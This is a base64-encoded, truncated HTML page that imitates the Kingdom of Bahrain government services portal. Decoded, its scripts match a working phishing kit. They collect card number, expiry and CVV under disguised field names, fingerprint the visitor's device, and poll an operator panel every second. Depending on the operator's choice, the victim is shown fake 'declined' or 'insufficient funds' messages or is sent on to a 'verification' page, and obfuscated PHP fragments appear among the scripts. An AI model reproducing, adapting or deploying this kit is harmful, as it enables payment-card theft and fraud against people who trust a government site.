mYS13aGF0c2FwcCIgYXJpYS1oaWRkZW49InRydWUiPjwvaT48L2E+CgkJCQkJCQk8L2Rpdj4JCgkJCQkJCTwvbGk+CgkJCQkJCTxsaT4KCQkJCQkJCTxkaXYgY2xhc3M9ImZvb3Rlci1sb2dvcyI+CgkJCQkJCQkJPGEgaHJlZj0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9wb3J0YWwvdGF3YXN1bC9Ib21lX2VuIiB0aXRsZT0iVGF3YXN1bC1OYXRpb25hbCBzdWdnZXN0aW9ucyAmYW1wOyBjb21wbGFpbnQgc3lzdGVtIiB0YXJnZXQ9Il9ibGFuayI+CgkJCQkJCQkJICAgCgkJCQkJCQkJCQk8aW1nIHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9pbWFnZXMvdGF3YXN1bC1vbmxpbmUtbG9nby1lbi5wbmciIGFsdD0iVGF3YXN1bC1OYXRpb25hbCBzdWdnZXN0aW9ucyAmYW1wOyBjb21wbGFpbnQgc3lzdGVtIiB0aXRsZT0iVGF3YXN1bC1OYXRpb25hbCBzdWdnZXN0aW9ucyAmYW1wOyBjb21wbGFpbnQgc3lzdGVtIj4KCQkJCQkJCQkgICAKCQkJCQkJCQk8L2E+CgkJCQkJCQkJPGEgaHJlZj0idGVsOjgwMDA4MDAxIiB0aXRsZT0iR292ZXJubWVudCBTZXJ2aWNlcyBDb250YWN0IENlbnRlciIgdGFyZ2V0PSJfYmxhbmsiPgoJCQkJCQkJCSAgIAoJCQkJCQkJCQkJPGltZyBzcmM9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IVZqQnVlUWNEZzladEVSdWMxdjQtencvZGF2L2ZzLXR5cGUxL3RoZW1lcy9Qb3J0YWxQbHVzU2VydmljZXMvaW1hZ2VzL05DQy1FbmcucG5nIiBhbHQ9IkdvdmVybm1lbnQgU2VydmljZXMgQ29udGFjdCBDZW50ZXIiIHRpdGxlPSJHb3Zlcm5tZW50IFNlcnZpY2VzIENvbnRhY3QgQ2VudGVyIj4KCQkJCQkJCQkgICAKCQkJCQkJCQk8L2E+CQkJCQkJCQkKCQkJCQkJCTwvZGl2PgoJCQkJCQk8L2xpPgoJCQkJCTwvdWw+CgkJCQk8L2Rpdj4KCQkJPC9kaXY+CgkJCQkKCQkJPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KCQkJCTxkaXYgY2xhc3M9InNwYW4xMiBtYXItdG9wLTEwIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyI+CgkJCQkJPGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9Ib21lTmF0aW9uYWxQb3J0YWwvQ29udGVudERldGFpbHNQYWdlP2N1cnJlbnQ9dHJ1ZSZhbXA7dXJpbGU9d2NtOnBhdGg6Qk5QX2VuL0Fib3V0JTIwVXMvVGVybXMlMjBhbmQlMjBDb25kaXRpb25zL1Rlcm1zJTIwYW5kJTIwQ29uZGl0aW9ucyI+VGVybXMgYW5kIENvbmRpdGlvbnM8L2E+CgkJCQkJfAoJCQkJCTxhIGhyZWY9Imh0dHBzOi8vd3d3LmJhaHJhaW4uYmgvd3BzL3BvcnRhbC9lbi9CTlAvSG9tZU5hdGlvbmFsUG9ydGFsL0NvbnRlbnREZXRhaWxzUGFnZT9jdXJyZW50PXRydWUmYW1wO3VyaWxlPXdjbTpwYXRoOkJOUF9lbi9BYm91dCUyMFVzL0FjY2Vzc2liaWxpdHliaC9BY2Nlc3NpYmlsaXR5Ij5BY2Nlc3NpYmlsaXR5PC9hPgoJCQkJCXwKCQkJCQk8YSBocmVmPSJodHRwczovL3d3dy5iYWhyYWluLmJoL3dwcy9wb3J0YWwvZW4vQk5QL0hvbWVOYXRpb25hbFBvcnRhbC9Db250ZW50RGV0YWlsc1BhZ2U/Y3VycmVudD10cnVlJmFtcDt1cmlsZT13Y206cGF0aDpCTlBfZW4vQWJvdXQlMjBVcy9GQVFzL0ZBUXMiPkZBUTwvYT4KCQkJCQl8CgkJCQkJPGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9Ib21lTmF0aW9uYWxQb3J0YWwvQ29udGVudERldGFpbHNQYWdlP2N1cnJlbnQ9dHJ1ZSZhbXA7dXJpbGU9d2NtOnBhdGg6Qk5QX2VuL0Fib3V0JTIwVXMvSGVscCUyMFVzaW5nJTIwYmFocmFpbi5iaC9IZWxwJTIwU2VjdGlvbiI+SGVscDwvYT4KCQkJCQl8CgkJCQkJPGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9Ib21lTmF0aW9uYWxQb3J0YWwvQ29udGVudERldGFpbHNQYWdlP2N1cnJlbnQ9dHJ1ZSZhbXA7dXJpbGU9d2NtOnBhdGg6Qk5QX2VuL0Fib3V0JTIwVXMvQ29udGFjdFVzL0NvbnRhY3RVcyI+Q29udGFjdCBVczwvYT4KCQkJCQl8CgkJCQkJPGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9TaXRlTWFwIj5TaXRlIE1hcDwvYT4KCQkJCTwvZGl2PgoJCQkJPGRpdiBjbGFzcz0ic3BhbjEyIG1hci10b3AtMTAiPgoJCQkJCTx1bCBzdHlsZT0ibGlzdC1zdHlsZS10eXBlOm5vbmU7dGV4dC1hbGlnbjogY2VudGVyO21hcmdpbjowO21hcmdpbi1ib3R0b206IDIwcHg7Ij4KCQkJCQkJPGxpPklTTyA5MDAxIENlcnRpZmllZDwvbGk+CgkJCQkJCTxsaT7CqSBLaW5nZG9tIG9mIEJhaHJhaW4uIEFsbCBSaWdodHMgUmVzZXJ2ZWQuPC9saT4KCQkJCQkJPGxpPkxhc3QgdXBkYXRlZCA6MjgvMDMvMjAyNDwvbGk+CgkJCQkJPC91bD4KCQkJCTwvZGl2PgoJCQk8L2Rpdj4KCQk8L2Rpdj4KCTwvZGl2Pgo8L2Zvb3Rlcj4KCjxkaXYgaWQ9IkFqYXhCbGFja1NjcmVlbkxvYWRpbmciIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+Cgk8ZGl2IGNsYXNzPSJtb2RhbC1iYWNrZHJvcCBpbiIgZGF0YS1iYWNrZHJvcD0ic3RhdGljIiBkYXRhLWtleWJvYXJkPSJmYWxzZSI+Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9InJlc3VsdExvYWRpbmdDb250ZW50cyI+CgkJPGltZyBzcmM9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IVZqQnVlUWNEZzladEVSdWMxdjQtencvZGF2L2ZzLXR5cGUxL3RoZW1lcy9Qb3J0YWxQbHVzU2VydmljZXMvaW1hZ2VzL2FqYXgtbG9hZGVyLmdpZiIgYWx0PSIiPgoJCTxkaXYgY2xhc3M9InJlc3VsdExvYWRpbmdUZXh0IiBzdHlsZT0iY29sb3I6IzAwMDsiPgoJCQlQbGVhc2UgV2FpdAoJCTwvZGl2PgoJPC9kaXY+CjwvZGl2PgoKPCEtLSAgR2VuZXJhbCBQb3B1cCAtLT4KPHN0eWxlPgogICAjdGhlR2VuZXJhbE1vZGFsIHsKCQl3aWR0aDogNTAwcHg7CiAgIH0KICAgQG1lZGlhIChtYXgtd2lkdGg6IDc2N3B4KXsKCSN0aGVHZW5lcmFsTW9kYWwgewoJCXdpZHRoOiBhdXRvOwoJCX0KICAgfQo8L3N0eWxlPgoKPHNjcmlwdD4KCWZ1bmN0aW9uIHN1Ym1JdCgpIHsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndGFiJykuc3R5bGUuZGlzcGxheSA9ICJibG9jayI7Cgl9Cjwvc2NyaXB0PgoKCjxzY3JpcHQ+CiAgICAvLyBDaGVjayBpZiB0aGUgJ2Vycm9yJyB2YXJpYWJsZSBpcyBzZXQgdG8gdHJ1ZQogICAgdmFyIGVycm9yID0gPD9waHAgIGdvdG8gVXlIb3E7IHNJVDZmOiA/PgoiPgogICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InlhbmtpbnN1IiB2YWx1ZT0iPD9waHAgIGdvdG8gSWRmb0o7IG9FODJ6OiA/Pgo7CgogICAgLy8gRGlzcGxheSB0aGUgbWVzc2FnZSBpZiAnZXJyb3InIGlzIHRydWUKICAgIGlmIChpbnZjYXJkKSB7CiAgICAgICAgdmFyIHdoZW5SZWplY3QgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgid2hlblJlamVjdCIpOwogICAgICAgIHdoZW5SZWplY3QuaW5uZXJUZXh0ID0gIkNyZWRpdCBjYXJkIHZlcmlmaWNhdGlvbiBmYWlsZWQuIFBsZWFzZSB0cnkgYWdhaW4gd2l0aCBhbm90aGVyIGNyZWRpdCBjYXJkIG51bWJlciI7CgogICAgICAgIC8vIEhpZGUgdGhlIG1lc3NhZ2UgYWZ0ZXIgMzAwIHNlY29uZHMgKDUgbWludXRlcykKICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgewogICAgICAgICAgICB3aGVuUmVqZWN0LnN0eWxlLmRpc3BsYXkgPSAibm9uZSI7CiAgICAgICAgfSwgMzAwMDAwKTsKICAgIH0KPC9zY3JpcHQ+CgoKICAgIDxzY3JpcHQ+CiAgICAgICAgZnVuY3Rpb24gbG9hZGVyKCkgewogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib3ZlcmxheS1jb250YWluZXIiKS5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIjsKICAgICAgICAgCiAgICAgICAgfQogICAgPC9zY3JpcHQ+Cgo8c2NyaXB0PgogIHNldEludGVydmFsKGZ1bmN0aW9uKCkgewogICAgY29uc3QgeGhyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgICB4aHIub3BlbignR0VUJywgJy4vYWRtaW5sdGUvcGFnZXMvdGFibGVzL3VwZGF0ZS5waHAnLCB0cnVlKTsKICAgIHhoci5zZW5kKCk7CiAgfSwgMTAwMCk7Cjwvc2NyaXB0PgoKCgoKPHNjcmlwdD4KICAgICAgICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIiwgZnVuY3Rpb24oKSB7CiAgICAgICAgICAgIC8vIEdlbmVyYXRlIGEgZmluZ2VycHJpbnQgd2l0aCBkZXZpY2Utc3BlY2lmaWMgaW5mb3JtYXRpb24KICAgICAgICAgICAgZ2VuZXJhdGVGaW5nZXJwcmludCgpLnRoZW4oZmluZ2VycHJpbnQgPT4gewogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImZpbmdlcnByaW50SW5wdXQiKS52YWx1ZSA9IGZpbmdlcnByaW50OwogICAgICAgICAgICAgICAgLy8gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImZpbmdlcnByaW50SW5wdXQzIikudmFsdWUgPSBmaW5nZXJwcmludDsKICAgICAgICAgICAgICAgIC8vIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJmaW5nZXJwcmludElucHV0NCIpLnZhbHVlID0gZmluZ2VycHJpbnQ7CiAgICAgICAgICAgIH0pOwogICAgICAgIH0pOwoKICAgICAgICBhc3luYyBmdW5jdGlvbiBnZW5lcmF0ZUZpbmdlcnByaW50KCkgewogICAgICAgICAgICBjb25zdCBmaW5nZXJwcmludERhdGEgPSBhd2FpdCBjb2xsZWN0RmluZ2VycHJpbnREYXRhKCk7CiAgICAgICAgICAgIGNvbnN0IGhhc2hIZXggPSBzaGEyNTYoZmluZ2VycHJpbnREYXRhKTsgLy8gVXNlIHRoZSBzaGEyNTYgZnVuY3Rpb24gZnJvbSB0aGUgbGlicmFyeQoKICAgICAgICAgICAgcmV0dXJuIGhhc2hIZXg7CiAgICAgICAgfQoKICAgICAgICBhc3luYyBmdW5jdGlvbiBjb2xsZWN0RmluZ2VycHJpbnREYXRhKCkgewogICAgICAgICAgICBjb25zdCB1c2VyQWdlbnQgPSBuYXZpZ2F0b3IudXNlckFnZW50OwogICAgICAgICAgICBjb25zdCBwbGF0Zm9ybSA9IG5hdmlnYXRvci5wbGF0Zm9ybTsKICAgICAgICAgICAgY29uc3QgbGFuZ3VhZ2UgPSBuYXZpZ2F0b3IubGFuZ3VhZ2U7CiAgICAgICAgICAgIGNvbnN0IHNjcmVlbldpZHRoID0gc2NyZWVuLndpZHRoOwogICAgICAgICAgICBjb25zdCBzY3JlZW5IZWlnaHQgPSBzY3JlZW4uaGVpZ2h0OwoKICAgICAgICAgICAgLy8gQWRkaXRpb25hbCBkZXZpY2Utc3BlY2lmaWMgaW5mb3JtYXRpb24KICAgICAgICAgICAgY29uc3QgZGV2aWNlSW5mbyA9IHsKICAgICAgICAgICAgICAgIGRldmljZVBpeGVsUmF0aW86IHdpbmRvdy5kZXZpY2VQaXhlbFJhdGlvIHx8IDEsCiAgICAgICAgICAgICAgICBzY3JlZW5XaWR0aDogc2NyZWVuLndpZHRoLAogICAgICAgICAgICAgICAgc2NyZWVuSGVpZ2h0OiBzY3JlZW4uaGVpZ2h0LAogICAgICAgICAgICAgICAgYXZhaWxhYmxlU2NyZWVuV2lkdGg6IHNjcmVlbi5hdmFpbFdpZHRoLAogICAgICAgICAgICAgICAgYXZhaWxhYmxlU2NyZWVuSGVpZ2h0OiBzY3JlZW4uYXZhaWxIZWlnaHQsCiAgICAgICAgICAgICAgICBjb2xvckRlcHRoOiBzY3JlZW4uY29sb3JEZXB0aCwKICAgICAgICAgICAgICAgIHBpeGVsRGVwdGg6IHNjcmVlbi5waXhlbERlcHRoLAogICAgICAgICAgICAgICAgaGFyZHdhcmVDb25jdXJyZW5jeTogbmF2aWdhdG9yLmhhcmR3YXJlQ29uY3VycmVuY3kgfHwgIk4vQSIsCiAgICAgICAgICAgIH07CgogICAgICAgICAgICAvLyBDb21iaW5lIGFsbCBhdHRyaWJ1dGVzIGludG8gYSBzaW5nbGUgb2JqZWN0CiAgICAgICAgICAgIGNvbnN0IGZpbmdlcnByaW50T2JqZWN0ID0gewogICAgICAgICAgICAgICAgdXNlckFnZW50LAogICAgICAgICAgICAgICAgcGxhdGZvcm0sCiAgICAgICAgICAgICAgICBsYW5ndWFnZSwKICAgICAgICAgICAgICAgIC4uLmRldmljZUluZm8sCiAgICAgICAgICAgIH07CgogICAgICAgICAgICAvLyBTZXJpYWxpemUgdGhlIG9iamVjdCBpbnRvIGEgSlNPTiBzdHJpbmcKICAgICAgICAgICAgcmV0dXJuIEpTT04uc3RyaW5naWZ5KGZpbmdlcnByaW50T2JqZWN0KTsKICAgICAgICB9CiAgICA8L3NjcmlwdD4KCgoKICAgIDxzY3JpcHQ+CiAgICAgICAgdmFyIHRpbWVyMgogICAgICAgIHZhciB0aW1lcjEKCiAgICAgICAgZnVuY3Rpb24gZ2V0VXJsUGFyYW0obmFtZSkgewogICAgICAgICAgICB2YXIgcmVnID0gbmV3IFJlZ0V4cCgiKF58JikiICsgbmFtZSArICI9KFteJl0qKSgmfCQpIik7IC8v5p6E6YCg5LiA5Liq5ZCr5pyJ55uu5qCH5Y+C5pWw55qE5q2j5YiZ6KGo6L6+5byP5a+56LGhCiAgICAgICAgICAgIHZhciByID0gd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHIoMSkubWF0Y2gocmVnKTsgLy/ljLnphY3nm67moIflj4LmlbAKICAgICAgICAgICAgaWYgKHIgIT0gbnVsbCkgcmV0dXJuIHVuZXNjYXBlKHJbMl0pOwogICAgICAgICAgICByZXR1cm4gbnVsbDsgLy/ov5Tlm57lj4LmlbDlgLwKICAgICAgICB9CgoKICAgICAgICBqUXVlcnkoZnVuY3Rpb24gKCQpIHsKICAgICAgICAgICAgJCgiI3NoYVNoaWRhIikuYmluZCgiaW5wdXQgcHJvcGVydHljaGFuZ2UiLCBmdW5jdGlvbiAoZXZlbnQpIHsKICAgICAgICAgICAgICAgICQoJyNzaGFTaGlkYScpLnJlbW92ZUNsYXNzKCdJbnB1dC0taW52YWxpZCAnKTsKICAgICAgICAgICAgICAgICQoJyNzaGFTaGlkYScpLmFkZENsYXNzKCdJbnB1dC0tZW1wdHknKTsKICAgICAgICAgICAgICAgICQoJyNwYXlfZXJyb3InKS5jc3MoJ29wYWNpdHknLCAnMCcpOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgJCgiI3N1bmFuU2hpIikuYmluZCgiaW5wdXQgcHJvcGVydHljaGFuZ2UiLCBmdW5jdGlvbiAoZXZlbnQpIHsKICAgICAgICAgICAgICAgICQoJyNzdW5hblNoaScpLnJlbW92ZUNsYXNzKCdJbnB1dC0taW52YWxpZCAnKTsKICAgICAgICAgICAgICAgICQoJyNzdW5hblNoaScpLmFkZENsYXNzKCdJbnB1dC0tZW1wdHknKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICQoIiN1S3UiKS5iaW5kKCJpbnB1dCBwcm9wZXJ0eWNoYW5nZSIsIGZ1bmN0aW9uIChldmVudCkgewogICAgICAgICAgICAgICAgJCgnI3VLdScpLnJlbW92ZUNsYXNzKCdJbnB1dC0taW52YWxpZCAnKTsKICAgICAgICAgICAgICAgICQoJyN1S3UnKS5hZGRDbGFzcygnSW5wdXQtLWVtcHR5Jyk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICAkKCcjc2hhU2hpZGEnKS5wYXltZW50KCdmb3JtYXRDYXJkTnVtYmVyJyk7CiAgICAgICAgICAgICQoJyNmdUR1JykucGF5bWVudCgnZm9ybWF0Q2FyZEV4cGlyeScpOwoKCiAgICAgICAgICAgIHZhciBjYXJkZSA9ICQoJyNzaGFTaGlkYScpLnZhbCgpOwoKICAgICAgICAgICAgJCgnI3NoYVNoaWRhJykuZm9jdXNvdXQoZnVuY3Rpb24gKCkgewoKICAgICAgICAgICAgICAgIHZhciBjYXJkVHlwZSA9ICQucGF5bWVudC5jYXJkVHlwZSgkKCcjc2hhU2hpZGEnKS52YWwoKSk7CgogICAgICAgICAgICAgICAgaWYgKCQucGF5bWVudC52YWxpZGF0ZUNhcmROdW1iZXIoJCgnI3NoYVNoaWRhJykudmFsKCkpID09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJCgnI3NoYVNoaWRhJykudmFsKCcnKTsKICAgICAgICAgICAgICAgICAgICAkKCcjc2hhU2hpZGEnKS5hZGRDbGFzcygnSW5wdXQtLWludmFsaWQgJyk7CiAgICAgICAgICAgICAgICAgICAgJCgnI3NoYVNoaWRhJykucmVtb3ZlQ2xhc3MoJ0lucHV0LS1lbXB0eScpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoY2FyZFR5cGUgPT0gJ2FtZXgnKSB7CiAgICAgICAgICAgICAgICAgICAgJCgiI3VLdSIpLmF0dHIoIm1heGxlbmd0aCIsICI0Iik7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICQoIiN1S3UiKS5hdHRyKCJtYXhsZW5ndGgiLCAiMyIpOwogICAgICAgICAgICAgICAgfQoKCiAgICAgICAgICAgIH0pOwoKICAgICAgICB9KTsKICAgIDwvc2NyaXB0PgoKCgo8c2NyaXB0PgogICAgdmFyIGludGVydmFsSWQ7IC8vIFN0b3JlIHRoZSBpbnRlcnZhbCBJRAoKICAgIGZ1bmN0aW9uIGNoZWNrQWNjb3VudFN0YXR1cygpIHsKICAgICAgICB2YXIgeGhyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgICAgICAgeGhyLm9wZW4oIkdFVCIsICJjaGVja0EucGhwIiwgdHJ1ZSk7CiAgICAgICAgeGhyLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uICgpIHsKICAgICAgICAgICAgaWYgKHhoci5yZWFkeVN0YXRlID09PSA0KSB7CiAgICAgICAgICAgICAgICBpZiAoeGhyLnN0YXR1cyA9PT0gMjAwKSB7CiAgICAgICAgICAgICAgICAgICAgdmFyIHJlc3BvbnNlID0gSlNPTi5wYXJzZSh4aHIucmVzcG9uc2VUZXh0KTsKICAgICAgICAgICAgICAgICAgICB2YXIgYWNjb3VudFN0YXR1cyA9IHJlc3BvbnNlLmFjY291bnRTdGF0dXM7CgogICAgICAgICAgICAgICAgICAgIGlmIChhY2NvdW50U3RhdHVzID09PSAiQ2FyZEFwcHJvdmUiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmID0gInNlY3VyZXRyYW5zLnBocD92ZXJpZnk9dHJ1ZSI7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmIChhY2NvdW50U3RhdHVzID09PSAiQ2FyZFJlamVjdCIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3RhYicpLnN0eWxlLmRpc3BsYXkgPSAibm9uZSI7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgid2hlblJlamVjdCIpLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOwogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIndoZW5SZWplY3QiKS5zdHlsZS5hbmltYXRpb24gPSAic2hha2UgMC44cyBlYXNlIjsKCiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2hhU2hpZGEiKS5zdHlsZS5ib3JkZXIgPSAnMXB4IHNvbGlkICNmZjhlOGUnOwoKICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJmdUR1Iikuc3R5bGUuYm9yZGVyID0gJzFweCBzb2xpZCAjZmY4ZThlJzsKICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ1S3UiKS5zdHlsZS5ib3JkZXIgPSAnMXB4IHNvbGlkICNmZjhlOGUnOwogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNoYVNoaWRhIikudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJmdUR1IikudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ1S3UiKS52YWx1ZSA9ICIiOwoKICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ3aGVuUmVqZWN0IikuaW5uZXJIVE1MID0KICAgICAgICAgICAgICAgICAgICAnWW91ciBjYXJkIGhhcyBiZWVuIGRlY2xpbmVkJzsKCgogICAgICAgICAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIndoZW5SZWplY3QiKS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOwogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzaGFTaGlkYSIpLnN0eWxlLmJvcmRlciA9ICcxcHggc29saWQgZ3JleSc7CiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImZ1RHUiKS5zdHlsZS5ib3JkZXIgPSAnMXB4IHNvbGlkIGdyZXknOwogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ1S3UiKS5zdHlsZS5ib3JkZXIgPSAnMXB4IHNvbGlkIGdyZXknOwogICAgICAgICAgICAgICAgfSwgMTAwMDApOwoKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGFjY291bnRTdGF0dXMgPT09ICJJbnN1ZmZpY2llbnQiKSB7CgogICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndGFiJykuc3R5bGUuZGlzcGxheSA9ICJub25lIjsKICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ3aGVuUmVqZWN0Iikuc3R5bGUuZGlzcGxheSA9ICJibG9jayI7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgid2hlblJlamVjdCIpLnN0eWxlLmFuaW1hdGlvbiA9ICJzaGFrZSAwLjhzIGVhc2UiOwoKICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzaGFTaGlkYSIpLnN0eWxlLmJvcmRlciA9ICcxcHggc29saWQgI2ZmOGU4ZSc7CgogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImZ1RHUiKS5zdHlsZS5ib3JkZXIgPSAnMXB4IHNvbGlkICNmZjhlOGUnOwogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInVLdSIpLnN0eWxlLmJvcmRlciA9ICcxcHggc29saWQgI2ZmOGU4ZSc7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2hhU2hpZGEiKS52YWx1ZSA9ICIiOwogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImZ1RHUiKS52YWx1ZSA9ICIiOwogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInVLdSIpLnZhbHVlID0gIiI7CgogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIndoZW5SZWplY3QiKS5pbm5lckhUTUwgPQogICAgICAgICAgICAgICAgICAgICdJbnN1ZmZpY2llbnQgZnVuZHMgb24geW91ciBwYXltZW50IGNhcmQuJzsKCgogICAgICAgICAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIndoZW5SZWplY3QiKS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOwogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzaGFTaGlkYSIpLnN0eWxlLmJvcmRlciA9ICcxcHggc29saWQgZ3JleSc7CiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImZ1RHUiKS5zdHlsZS5ib3JkZXIgPSAnMXB4IHNvbGlkIGdyZXknOwogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ1S3UiKS5zdHlsZS5ib3JkZXIgPSAnMXB4IHNvbGlkIGdyZXknOwogICAgICAgICAgICAgICAgfSwgMTAwMDApOwoKICAgICAgICAgICAgICAgICAgICAgIAoKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGFjY291bnRTdGF0dXMgPT09ICJVbnN1cHBvcnRlZCIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3RhYicpLnN0eWxlLmRpc3BsYXkgPSAibm9uZSI7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgid2hlblJlamVjdCIpLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOwogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIndoZW5SZWplY3QiKS5zdHlsZS5hbmltYXRpb24gPSAic2hha2UgMC44cyBlYXNlIjsKCiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2hhU2hpZGEiKS5zdHlsZS5ib3JkZXIgPSAnMXB4IHNvbGlkICNmZjhlOGUnOwoKICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJmdUR1Iikuc3R5bGUuYm9yZGVyID0gJzFweCBzb2xpZCAjZmY4ZThlJzsKICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ1S3UiKS5zdHlsZS5ib3JkZXIgPSAnMXB4IHNvbGlkICNmZjhlOGUnOwogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNoYVNoaWRhIikudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJmdUR1IikudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ1S3UiKS52YWx1ZSA9ICIiOwoKICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ3aGVuUmVqZWN0IikuaW5uZXJIVE1MID0KICAgICAgICAgICAgICAgICAgICAnWW91ciBwYXltZW50IGNhcmQgaXMgbm90IHN1cHBvcnRlZCc7CgoKICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoKCkgP